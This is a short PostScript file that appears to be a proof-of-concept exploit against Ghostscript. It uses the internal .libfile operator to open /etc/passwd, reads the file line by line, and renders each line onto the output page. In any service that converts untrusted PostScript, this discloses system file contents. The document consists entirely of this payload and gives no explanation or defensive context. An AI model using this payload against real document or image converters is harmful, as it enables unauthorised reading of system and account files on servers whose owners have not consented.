%!PS /Size 20 def % font/line size /Line 0 def % current line /Buf 1024 string def % line buffer /Path 0 newpath def > /Courier-Bold findfont Size scalefont setfont 1 1 1 setrgbcolor clippath fill % draw white background 0 0 0 setrgbcolor % set black foreground > (/etc/passwd) .libfile { { dup Buf readline { Path Line moveto show }{ showpage quit } ifelse % next line /Line Line Size add def } loop } if